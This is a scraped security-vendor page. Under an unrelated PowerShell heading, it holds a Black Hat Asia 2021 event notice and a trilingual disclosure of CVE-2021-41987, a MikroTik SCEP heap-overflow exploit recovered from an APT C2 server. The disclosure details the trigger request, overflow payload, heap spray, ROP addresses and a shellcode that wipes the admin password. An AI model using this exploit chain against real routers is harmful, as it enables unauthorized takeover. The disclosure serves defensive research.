
A Deep Dive into PowerShell's Constrained Language Mode

PowerShellのConstrained Language（制約付き言語）モードに対する深い考察

全球資安盛會「亞洲黑帽安全大會」（Black Hat Asia, BHASIA）今年以線上方式舉辦，自 2021 年 5 月 4 日至 7 日（新加坡時間 UTC+8），為期四天的精彩議程（Black Hat Briefing）、專業深入培訓（Training），以及最新開源駭客工具的展示（Black Hat Arsenal），由頂尖資訊安全專家們傳授最新、第一手的技術與研究發現。

TeamT5 威脅情資研究員們也登上今年的 BHASIA，發表兩場最新研究，與世界各地的資安研究人員交流最新的資訊安全風險、研究與趨勢。「[Mem2Img: Memory-Resident Malware Detection via Convolution Neural Network](https://www.blackhat.com/asia-21/briefings/schedule/#memimg-memory-resident-malware-detection-via-convolution-neural-network-22262)」由 TeamT5 技術長 Charles 與惡意程式研究員 Aragorn 介紹過去一年間發現的 APT 新攻擊手法，並發表他們基於 Mem2Img 框架的研究如何面對日新月異的惡意程式變種與變形，以及可能面臨的攻擊。

![Mem2Img.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620721192/Mem2_Img_7e094e8568.png)
_TeamT5 研究員發表基於 Mem2Img 框架如何分類記憶體中的惡意程式，並提出該框架可能面臨的攻擊。_

 

另一場演講「[“We Are About to Land”: How CloudDragon Turns a Nightmare Into Reality](https://www.blackhat.com/asia-21/briefings/schedule/index.html#we-are-about-to-land-how-clouddragon-turns-a-nightmare-into-reality-22252)」，則由我們的資深威脅情資分析師 Linda 與惡意程式研究員 DuckLL，獨家揭露 TeamT5 持續追蹤的北韓 APT 攻擊族群 CloudDragon 的攻擊行為與入侵的防禦偵測手法，包括該族群如何分群的介紹，以及三大亮點：加密貨幣產業的供應鏈攻擊（supply chain attack）、跨平台的惡意軟體攻擊、自動化更新的釣魚網頁內容。

![who_is_CloudDragon_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620719929/who_is_Cloud_Dragon_1_2f78c12676.png)
_TeamT5 威脅情資研究員向大家介紹 CloudDragon 為何分群以及如何分群_

![clouddragon_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620724347/clouddragon_2_e8856cbe0a.png)
_CloudDragon 利用包括韓國本土與世界性的網路服務提供商進行惡意攻擊_

 

## 關於黑帽大會（Black Hat）

黑帽大會（Black Hat）每年聚集全球資訊安全專家、優秀研究人員於一堂，透過資安研究、開發與最新趨勢交流，鼓勵學術界、世界級研究人員與各領域決策及領導者間的合作、成長。黑帽簡報會（Black Hat Briefing）與培訓（Training）每年也都在美國、歐洲與亞洲舉行，匯集全球資安頂尖人員參與盛會。

 

*圖片來源：[Black Hat](https://www.blackhat.com/asia-21/)

【BlackHat Asia】TeamT5 研究員登上亞洲黑帽安全大會

世界的な情報セキュリティイベント「ブラックハットアジア（Black Hat Asia）」（BHASIA）が、今年は2021年5月4日から7日（シンガポール時間 UTC+8）までオンラインで開催されました。4日間の開催期間で素晴らしいブリーフィング（Black Hat Briefing）、専門的かつ詳細なトレーニング（Training）、最新のオープンソースハッキングツールの展示（Black Hat Arsenal）、トップクラスの情報セキュリティ専門家たちによる最新の技術や研究による発見の共有などが行われました。

TeamT5の脅威インテリジェンス研究員たちも今年のBHASIAに参加して2つの最新の研究結果を発表し、世界各地の情報セキュリティ研究員と最新の情報セキュリティリスク、研究、トレンドについて交流しました。「[Mem2Img: Memory-Resident Malware Detection via Convolution Neural Network](https://www.blackhat.com/asia-21/briefings/schedule/#memimg-memory-resident-malware-detection-via-convolution-neural-network-22262)」では、TeamT5のCharles技術長とマルウェア研究員のAragornが過去1年間に発見したAPT攻撃の手法のほか、日々変化するマルウェアの亜種や変種、起こりうる攻撃への対応方法について、Mem2Imgのフレームワークに基づいた研究を発表しました。

![Mem2Img.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620721192/Mem2_Img_7e094e8568.png)
_TeamT5の研究員は、Mem2Imgのフレームワークに基づいたメモリ内のマルウェアの分類方法および同フレームワークに対する攻撃の可能性を紹介しました_

 

もう一つの発表、「[“We Are About to Land”: How CloudDragon Turns a Nightmare Into Reality](https://www.blackhat.com/asia-21/briefings/schedule/index.html#we-are-about-to-land-how-clouddragon-turns-a-nightmare-into-reality-22252)」では、当社のシニア脅威インテリジェンスアナリストであるLindaとマルウェア研究員のDuckLLが、TeamT5が独自に追跡し続けてきた北朝鮮のAPT攻撃グループ「CloudDragon」の攻撃行動、侵入防御、検出方法を明らかにしました。内容には、グループ化の方法および3つのハイライト「暗号通貨業界におけるサプライチェーン攻撃（supply chain attack）、クロスプラットフォームのマルウェア攻撃、自動的にアップデートされるフィッシングサイトのコンテンツ」も含まれました。

![who_is_CloudDragon_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620719929/who_is_Cloud_Dragon_1_2f78c12676.png)
_TeamT5の脅威インテリジェンス研究員によるCloudDragonをグループ化する理由と方法の紹介_

![clouddragon_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620724347/clouddragon_2_e8856cbe0a.png)
_CloudDragonは韓国および世界のインターネットサービスプロバイダを利用してマルウェア攻撃をしている_

 

## ブラックハット（Black Hat）について

ブラックハット（Black Hat）では、毎年世界の情報セキュリティ専門家、優秀な研究員が一堂に会します。情報セキュリティの研究開発や最新のトレンドについて交流することで、学界、世界レベルの研究員、各分野における意思決定、リーダー同士の協力、成長が促進されます。ブラックハットブリーフィング（Black Hat Briefing）とトレーニング（Training）は、世界トップクラスの情報セキュリティ担当者が参加するイベントで、毎年アメリカ、ヨーロッパ、アジアで開催されます。

 

*画像のソース: [Black Hat](https://www.blackhat.com/asia-21/)

【Black Hat Asia】TeamT5の研究員がブラックハットアジア（Black Hat Asia）に参加

Events

## Brief
In 2021, we discovered an open directory on Huapi’s C2. We found the source code contained an exploit aiming at Mikrotik routers. More specifically, our analysis found that the exploit would allow the attackers to send specially crafted payloads to achieve Remote Code Execution (RCE) via WAN without any authentications. The targeted RouterOS products include mikrotik-tile-6.46.8, mikrotik-vm-64.8, and mikrotik-vm-6.48.

TeamT5 alerted Mikrotik to patch this vulnerability upon discovery. The patch for this vulnerability was released on 2021/11/17 and can be downloaded from the official Mikrotik website. All affected organizations should update their RouterOS immediately to avoid actors’ exploitation.

HUAPI (aka BlackTech, Palmerworm, or PLEAD) has been active since 2007 and has been targeting Taiwan for over a decade. Huapi’s malwares are highly sophisticated, and some of them use unique anti-analysis packers. Some of Huapi’s malware utilized a modified RC4 algorithm to encrypt the malicious C2 communication. Huapi focused on governmental entities, technology or telecommunication industries, and think tanks. Our observation suggested that over half of the victims were governmental agencies in Taiwan, the United States, Japan, and South Korea.

### Attack vector
As a powerful and easy-to-use router, Mikrotik routerboard supports SCEP (Simple Certificate Enrollment Protocol), a service that was designed for simple certificate delivery. During transport, the binary data is encoded in Base64 via HTTP GET. Unfortunately, when processing the data from the payload, a miscalculation may occur if the payload is not properly formatted, potentially resulting in a Heap-based Buffer Overflow.

The open directory we had discovered contained exploit code that targeted ```mikrotik-tile-6.46.8```, ```mikrotik-vm-64.8``` and ```mikrotik-vm-6.48```, along with their corresponding shellcode snippets. In the following sections, we will be analyzing the exploit code that was designed for ```mikrotik-vm-6.46.8```.

#### Root cause analysis
By sending the following payload, we can cause the service ```www``` to crash and potentially trigger a Heap-based Buffer Overflow.

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

The crash can be traced back to the function ```base64Decode```, located under ```ScepRequest::parseRequest``` from ```/nova/lib/www/scep.p```. When unpacking the Base64 request, the following code is used to calculate the output buffer size,

```output_buffer_length = 3 * (input_buffer_length >> 2)```

…which may cause a miscalculation of the output buffer, resulting in an insufficient memory allocation from ```malloc```, leading to a heap overflow.

![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)


#### What happened?

For instance, we assume that the our input data is ```xxxxxxxxxxxxxxxxhCE```, and the length of input buffer is 19. Based on the decompiled code, ```out_len = 3 * (input_len >> 2)``` which is ```out_len = 3 * (input_len // 4)``` (double slashes represent integer division), thereby allocating 12 bytes as decoded data buffer. However, the decoded data buffer should be 14 bytes instead of 12. This oversight allows the attacker to overwrite data in heap.

#### Overview of the exploit flow
According to the chunk-recycling mechanism, by overwriting the chunk size of a chunk in bins to a larger value (```0x4121```), the next ```malloc``` call will return a heap chunk overlapped with allocated chunks. This will lead to a heap overflow when writing to the chunk.

The part which will be overwritten is a vtable pointer in a destructor (```sub_8052E90```) function, and by setting the register ```edx``` to ```0x8061a74```, the instruction ```call [edx+4]``` will execute the gadget at ```0x8058e89``` ( ```xchg eax, ebp; ret;``` ) and execute the shellcode after pivoting the stack to the attacker-owned buffer.

![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)


#### Heap spray
The attacker can begin heap spraying by requesting 64 concurrent connections, and close some of them in order to let the vtable pointer be overwriten by the heap overflow later.

![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)

The function ```aaaa``` assembles the ROP gadgets, and the variable ```sc``` contains the shellcode for execution.
![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)

#### Trigger heap overflow
The function ```bbbb``` sends the payloads to the victim server in the aforementioned format.

![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)

The parameter message (```'x'*801*4+'hCE'```) in the function ```bbbb``` will overwrite the size of next chunk. Here in gdb , it shows that the parameter message has been decoded to ```c7 1c 71 84 21``` at ```0x80859f0```, and the last byte ```\x21``` has been written as the next chunk size at ```0x80859f4```.

![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)

#### Attempting to retrieve the oversized chunk on heap
![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)

In order to retrieve the overflowed chunk, we need to send out more request. At some point, the register ```edx``` will be set to ```0x8061a74``` when the attempt reaches ```i=3```.

![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)

#### Trigger destructor
The final step of the exploit, set off destructor  ```call [edx+4]``` by closing connections.
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)

#### Fingers crossed
Thanks to the heap spraying at the initial phase of the exploit, the data in the address ```0x8061a74``` will be modified, thus the instruction ```call [edx+4]``` will end up calling ```0x8058e89``` instead (the address of gadget ```xchg eax, ebp; ret;```) and start executing our gadgets.

![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)

Once the gadgets have been hit, ```0x8058e89: xchg eax, ebp; ret``` and ```0x8052eb9: leave``` will allow us to pivot from the stack to the controllable buffer and start to execute our ROP chain from ```0x804fbfc```.

The ROP chain will try to increase the address of ```open``` to the address of ```mprotect```, and the ```0x804fc04: pop esp; ret;``` will set ```esp``` to ```0x8061a74+8``` to wrap up the ROP chain. Lastly, calling ```mprotect``` and jump right into the shellcode (```0x8061674```).

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)

In the exploit, the shellcode can be interpreted as ```unlink('/nova/store/user.data') + sync() + reboot()```, after the target device has finished rebooting. The attacker should then be able to login into web service as admin without a password.

### Conclusion
To wrap up, let’s go over the exploit code once again:

**1. Low stability**

- Since ```add()``` does not work in our favor and that ASLR is enabled by default, the exploit chain may fail on the first try.
- Occasionally, even though the ```/nova/store/user.dat``` file will be deleted, the device does not end up rebooting. The shellcode may require extra improvements to make it more stable.
- Even in best case scenario, the success rate is only about 5~6%.
- Thankfully, in the event where the attack attempt fails, the watchdog process will restart the ```www``` service for us. This ensures stability and allows the attacker to not cause noticeable disruption during the attack.

**2. Strict prerequisites**

- The attacker must be aware of the path name ```scep_server_name``` before being able to begin such attack.

**3. Disclosure Timeline**

```2021/07/11```: Acquire exploit codes from the open directory

```2021/10/04```: Responsible disclosure to Mikrotik and reserved CVE-2021-41987

```2021/11/17```: Official patch released

```2022/03/01```: Full disclosure released

**4. Affected versions of RouterOS**
- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### About TeamT5 D39
D39 is committed to the field of vulnerability security and vulnerability discovery. The research scope includes systems and devices that are connected to the Internet, such as mobile devices, IoT devices, Linux, and Windows. Our team has held a number of critical or important vulnerabilities and has conducted presentations across various major security conferences, such as Blackhat, HITCON, etc.

Exploit research has always been one of the most advanced fields in network attack and defense. TeamT5 expects to invest resources to cultivate more talents to enter this field, and expects to have more and more world-leading vulnerability research talents in Taiwan. We welcome those who dare to face unknown challenges, are committed to vulnerability research and discovery, and have independent research capabilities to join us. 🤝

### Reference
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*Image courtesy of Pixabay

Vulnerability Exposure & Notification on Mikrotik (CVE-2021-41987) 

## 前言
APT 駭客組織 Huapi 自 2007 年開始活躍至今，攻擊台灣超過 10 年的時間。TeamT5 觀察到 Huapi 所開發的惡意程式，有時會使用加殼來阻擋研究人員分析，且通常會使用修改後的 RC4 演算法來加密傳輸。Huapi 長期攻擊政府、高科技、電信或研究智庫單位，根據 TeamT5 的統計結果，超過 5 成的受害單位為政府機關，受害國家包含台灣、美國、日本及南韓，其中針對台灣政府機關進行入侵攻擊為多。

仰賴於長期的追蹤及觀察，我們在一台中繼站發現公開目錄，目錄中存在一組針對 Mikrotik SCEP 服務的 0day 攻擊程式碼。在確定弱點存在後，我們也將弱點的相關成因回報給 Mikrotik 官方，讓官方可以在第一時間內進行修補開發，以避免該弱點繼續被惡意攻擊者進行利用。

Mikrotik 官方於 2021/11/17 釋出了修正版本，請有使用到受影響版本的用戶盡速升級，以免遭受危害。這裡我們將完整揭露攻擊程式的利用細節及漏洞原理，讓我們一窺 APT 駭客組織都是怎麼為達目的、不擇手段。

### 攻擊程式包分析
作為一個功能強大且簡單易用的路由器，Mikrotik routerboard 也支援簡單憑證註冊通訊協定(Simple Certification Enrolling Protocol, SCEP)，來讓其他終端裝置可以簡便的取得所需之憑證。在協定交互的過程中，所有二進位資訊都會使用 base64 編碼之後再進行傳送，但由於 Mikrotik SCEP 服務在進行 base64 解碼的時候計算錯誤，會導致 Heap-based buffer overflow 的發生。

攻擊程式碼(以下簡稱 exploit)總共包含了針對三個不同版本的 exploit code 分別是 ```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```與```mikrotik-vm-6.48```，及其相對應版本的 shellcode 用以攻擊成功之後執行額外的惡意指令。

以下是我們針對版本 ```mikrotik-vm-6.46.8``` 進行的exploit分析。

### 弱點根因
透過一個簡單的 HTTP 請求:

```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

將可以很容易的讓 ```www``` 這個負責 HTTP 服務的 binary 崩潰，並被 watchdog 重新啟動。

經過一番逆向工程後可以發現，位於 ```/nova/lib/www/scep.p``` 中的 ```ScepRequest::parseRequest```，在解開 base64 編碼的 ```message``` 參數時，由於計算解編碼後的資料長度出現錯誤，導致 malloc 分配出來的大小不足，進而造成 heap overflow：
![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)

### 讓 Base64 變成漏洞，是不是搞錯了什麼 ?
舉例來說，假設我們的輸入資料是 ```xxxxxxxxxxxxxxxxhCE``` 長度為 19，依照逆向後的程式邏輯來看，SCEP 計算出解編碼後的長度是12 ``` out_len = 3 * (in_len // 4)``` (這邊的 ```//``` 為整數除法)。但實際上解編碼後的資料長度為 14，這就直接導致了 heap 上的資料被覆蓋的問題。

### 漏洞利用
透過分析 exploit code 我們可以發現，攻擊者使用上述漏洞將 bins 中的某個 chunk size 改大 (0x4121)，之後再次 malloc 將會拿到這個過大的 chunk 屆時便可以覆寫 heap 上的內容。

覆蓋某個 destructor 中會用到的 vtable pointer，將 ```edx``` 改成 ```0x8061a74``` 使得 ```call [edx+4]``` 執行位於 ```0x8058e89``` 的 gadget (```xchg eax, ebp; ret;```)。

![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)

#### 堆噴灑
首先發起 64 個請求做 heap spray 將我們要的 gadget 與 shellcode 隨著連線請求灑到 heap 上，並將其中一些連線關閉來讓 heap chunk 可以被 overflow 覆蓋到 vtable pointer。

![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)

這裡用到的 function ```aaaa``` 會將後續所需要的 ROP gadgets 組合起來，function 中的變數 ```sc``` 表示後面會被執行到的 shellcode。

![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)

#### 觸發堆溢出
透過呼叫 function ```bbbb``` 會將我們的 payload 使用前面提過的型式送出用以觸發 heap overflow。

![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)

在 function 中的參數 message ```'x'*801*4+'hCE'```，會在 base64 解編碼的同時由於前述的計算錯誤，將導致下一個 chunk 的 size 會剛好被覆蓋到。
![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)


#### 嘗試重新取得被覆蓋到 size 的 chunk
後續透過繼續新增請求的方式，嘗試取得被改大的 chunk，overflow 的內容可以改到在 vtable 裡的 pointer。

![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)


在 ```i=3``` 時，會讓 ```edx``` 的值改成 ```0x8061a74```。
![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)


#### 觸發 destructor

最後透過關閉連線的方式，觸發 destructor ```call [edx+4]```
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)


#### 幸運爆擊
由於一開始的 heap spray，```0x8061a74``` 會變成某個一連線時填入的內容，因此 ```call [edx+4]``` 會變成呼叫 ```0x8058e89```。

![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)


一旦成功進到 ROP gadget，這個 ROP chain，會將 ```open@got``` 改成 ```mprotect```，使用 gadgets，嘗試把 ```open``` 變成 ```mprotect```。

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` 會把 ```esp``` 改成 0x8061a74+8，接回完整 ROP chain。 最後呼叫 ```mprotect``` 使執行流進到 shellcode (```0x8061674```) 上執行。

該份 exploit 中 shellcode 的內容為，```unlink('/nova/store/user.dat') + sync() + reboot()```。 等待重新啟動之後可以發現 Web 介面可以不使用密碼直接登入。

### 結論
透過上面的分析可以發現這個攻擊程式碼(exploit)有幾個侷限性：

**1. 穩定性較低**
- 由於 ```add()``` 沒有處理進位，又有 ASLR 的緣故，運氣不好的話將直接導致攻擊失敗。
- 在嘗試重現的過程中我們也發現到，有時候 shellcode 已經正常執行 (```/nova/store/user.dat``` 已經被刪除)，卻未如預期般重新啟動，這部分需要改進 shellcode 來增加成功機率。
- 在嘗試重現的同時，我們也試圖透過修改 exploit 及 shellcode 來增加其穩定性，但最後成功率仍只有約略為 5~6%。
- 唯一值得慶幸的是，倘若攻擊失敗也只是會造成 ```www``` crash 後被 watchdog 重新啟動，並不會對使用上造成太大困擾或是引起使用者注意。

**2. 攻擊前提嚴格**

如根因所述，```scep_server_name``` 須為已知，若沒有這個 path 基本上也無法進行攻擊。

**3. 回報時間軸**

- ```2021/07/11```: 在 C2 發現 exploit code
- ```2021/10/04```: 回報給 Mikrotik 官方, 保留編號 CVE-2021-41987
- ```2021/11/17```: Mikrotik 官方釋出更新修正該弱點
- ```2022/03/01```: 公開 CVE-2021-41987 相關細節

**4. RouterOS 受影響版本**

- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### 關於 TeamT5 D39 漏洞研究團隊
D39 致力於弱點安全與漏洞挖掘領域，研究範圍包含 Mobile、IOT、Linux、Windows 等有機會連網的系統與裝置都是我們的目標（笑），團隊擁有多項重大（Critical）或重要（Important）之安全漏洞，並於 Blackhat、HITCON、POC 等國際會議擔任講者。

攻擊程式碼(exploit)研究一直是網路攻防裡面最高深的技術之一，TeamT5 期許投入資源來培養更多人才進入這個領域，期待台灣能有越來越多世界頂尖的弱點研究人才。歡迎勇於面對未知挑戰，致力於漏洞研究、挖掘為目標，並具有獨立研究能力者一同加入我們 🤝

### 參考
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*首圖來源: Pixabay

Mikrotik 漏洞揭露與通報 (CVE-2021-41987)

## はじめに
APTのハッカー組織Huapiは、2007年から活動を開始し、10年以上台湾に攻撃を仕掛けています。TeamT5は、Huapiが開発したマルウェアについて、研究員の解析を防ぐためにパッキングされていることがあり、通常は変更されたRC4のアルゴリズムで暗号化して送信されることを確認しました。Huapiは長期にわたり政府、ハイテク、電気通信、研究、シンクタンク機関を攻撃しており、TeamT5の統計では、被害者の50%以上が政府機関となっています。台湾、アメリカ、日本、韓国などが被害を受けており、多くの侵入や攻撃が台湾の政府機関を狙ったものであることが確認されました。

長期的な追跡と観察により、当社はC&Cサーバでの公開ディレクトリにMikrotik SCEPサービスを対象とした0dayエクスプロイト一式が含まれていることを発見しました。脆弱性の存在を確認した後、当社は脆弱性が発生する原因をMikrotikに報告しました。これにより、直ちに修正パッチを開発し、この脆弱性を利用した継続的なマルウェアの攻撃を防ぐことができました。

Mikrotikは、2021年11月17に公式の修正バージョンを公開しています。影響を受けるバージョンを使用しているユーザーは、被害を避けるためにできるだけ早くアップデートしてください。当社はここで攻撃プログラムの詳細と脆弱性が生まれる原理の詳細を明らかにします。目的のためなら手段を選ばないAPTハッカー組織のやり方を見てみましょう。

### 悪意のあるパッケージの解析
Mikrotik routerboardは、強力な機能性と簡易性を備えたルーターとして、他の端末装置が必要な証明書を簡単に取得できるよう、SCEP（Simple Certification Enrolling Protocol）をサポートしています。プロトコルの相互作用において、すべてのバイナリデータはbase64エンコード後に送信されますが、Mikrotik SCEPサービスによるbase64デコードの計算エラーが、Heap-based buffer overflowを引き起こします。

エクスプロイト（exploit）には、3つのバージョンを対象としたexploit code```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```、```mikrotik-vm-6.48```および攻撃成功後にコマンドインジェクションを追加するため、バージョンに応じたshellcodeが含まれています。

以下は、当社がバージョン```mikrotik-vm-6.46.8```に対して行ったexploitの解析です。

### 脆弱性の根本的な原因

シンプルなHTTPリクエスト：

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n``` 

```www``` というHTTPサービスを担うbinaryを簡単に破壊し、watchdogで再起動することができます。

リバースエンジニアリングにより、 ```/nova/lib/www/scep.p``` の ```ScepRequest::parseRequest``` がbase64エンコードの ```message``` パラメータをデコードする時、データの長さの計算にエラーが発生することでmallocの割り当てが不足し、heap overflowが発生することを発見しました。
 
![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)
 

### Base64が脆弱性になるのは、何かの間違いではないか
例えば、 ```xxxxxxxxxxxxxxxxhCE``` という長さ19のデータを入力した場合、リバースエンジニアリング後のプログラミングロジックの観点から、SCEPはデコード後の長さを12として計算します。 ``` out_len = 3 *（in_len // 4）``` （ここでの```//```は整数の除法です）。しかし、実際のデコード後のデータの長さは14で、これがheapのデータが上書きされる問題につながります。

### 脆弱性の利用
当社は、exploit codeの解析により、攻撃者は上記の脆弱性を利用してbinsの特定のchunk sizeをより大きなサイズの（0x4121）に変更し、続いてmallocが大きくなったchunkを取得する時にheapの内容を上書きすることを発見しました。

特定のdestructorで使用されるvtable pointerを上書きして ```edx``` を ```0x8061a74``` に変更し、 ```call [edx+4]``` が ```0x8058e89``` のgadgetを実行するようにします（ ```xchg eax, ebp; ret;``` ）。
 
![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)
 
#### ヒープスプレー
はじめに、64のheap sprayをリクエストし、接続リクエストと同時に必要なgadgetとshellcodeをheapにスプレーします。heap chunkのoverflowによってvtable pointerが上書きされるように一部の接続は閉じられます。
 
![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)
 
ここで使用されるfunction ```aaaa``` は、後で必要となるROP gadgetsを組み合わせます。functionの変数```sc```は、後で実行されるshellcodeを示しています。
 
![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)
 
#### ヒープオーバーフローのトリガー
function ```bbbb``` を呼び出すと、前述のパターンでheap overflowをトリガーする当社のpayloadが送信されます。
 
![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)
 
functionのパラメータ message ```'x'*801*4+'hCE'``` は、base64デコードと同時に前述の計算エラーにより、次のchunkのsizeがちょうど上書きされます。
 
![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)
 

#### sizeが上書きされたchunkの再取得を試みる
続いて、リクエストを追加し続け、サイズを大きくされたchunkの取得を試みることで、overflowの内容をvtableのpointerに変更することができます。
 
![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)
 

```i=3``` の時、 ```edx``` の値が ```0x8061a74``` になります。
 
![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)
 

#### destructorのトリガー 


最後に接続を閉じることで、destructor ```call [edx+4]```をトリガーします。
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)


#### 幸運を祈る
最初のheap sprayにより、 ```0x8061a74``` のデータアドレスが変更されるため、 ```call [edx+4]``` が ```0x8058e89``` を呼び出すようになります。
 
![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)
 

ROP gadgetへのアクセスが一度成功すると、このROP chainが ```open@got``` を ```mprotect``` に変更し、gadgetsを使用して ```open``` を ```mprotect``` に変更しようとします。

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` は ```esp``` を0x8061a74+8に変更し、完全なROP chainに再接続します。 最後に ```mprotect``` を呼び出し、shellcode ( ```0x8061674``` )にジャンプして実行します。

このexploitのshellcodeの内容は、 ```unlink('/nova/store/user.dat') + sync() + reboot()``` です。 再起動後、Webインターフェースでパスワードを使わなくてもログインできることが確認できます。


### 結論
上記の解析により、このエクスプロイト（exploit）には、いくつかの制限があることを確認しました：

**1. 安定性が低い**
- ```add()``` は、けた上げ数を処理せず、ASLRがあることから、運が悪ければ攻撃の失敗に直接つながります。
- 再現を試みる過程で、当社もshellcodeが正常に実行されているにも関わらず（ ```/nova/store/user.dat``` が削除されている）、予想通りに再起動しないことがあることを発見しました。この部分については、shellcodeを改良して成功率を上げる必要があります。
- 再現を試みながら、当社もexploitとshellcodeの修正により安定性を高めようとしましたが、最終的な成功率は約5～6%にすぎませんでした。
- 唯一幸いだったのは、攻撃が失敗しても ```www``` がcrashしてwatchdogが再起動されるだけで、使用上に大きな問題はなく、ユーザーの目につくこともないという点です。


**2. 攻撃のための厳しい前提条件**

根本的な原因として述べたように、 ```scep_server_name``` を認識している必要があり、このpathがなければ、基本的に攻撃することはできません。

**3. 開示のタイムライン**

- ```2021/07/11``` : C2でexploit codeを発見
- ```2021/10/04``` : Mikrotikに報告、識別番号CVE-2021-41987を予約
- ```2021/11/17``` : Mikrotikがこの脆弱性を修正するアップデートを公開
- ```2022/03/01``` : CVE-2021-41987に関する詳細を開示

**4. 影響を受けるRouterOSのバージョン**

- ```6.46.8``` 
- ```6.47.9``` 
- ```6.47.10``` 

### TeamT5 D39脆弱性研究チームについて
D39は脆弱性のセキュリティと脆弱性の発掘に取り組んでおり、研究範囲には、Mobile、IOT、Linux、Windowsなど、インターネットに接続されるシステムやデバイスのすべてが含まれます。重大（Critical）または重要（Important）なセキュリティ脆弱性に関する豊富な経験を有し、Blackhat、HITCON、POCなど国際的なカンファレンスで講演を行っています。

エクスプロイト（exploit）の研究は常にインターネットの攻防における最先端技術の一つとなっており、TeamT5は、台湾において世界トップクラスの脆弱性研究者がますます多くなることを目指し、より多くの人材を育成するためにリソースを投入しています。当社は、勇気を持って未知の挑戦に立ち向かい、脆弱性の研究や発見という目標に向かって力を注ぐ独自の研究能力を備えた人々の参加をお待ちしています。 🤝

### 参考文献
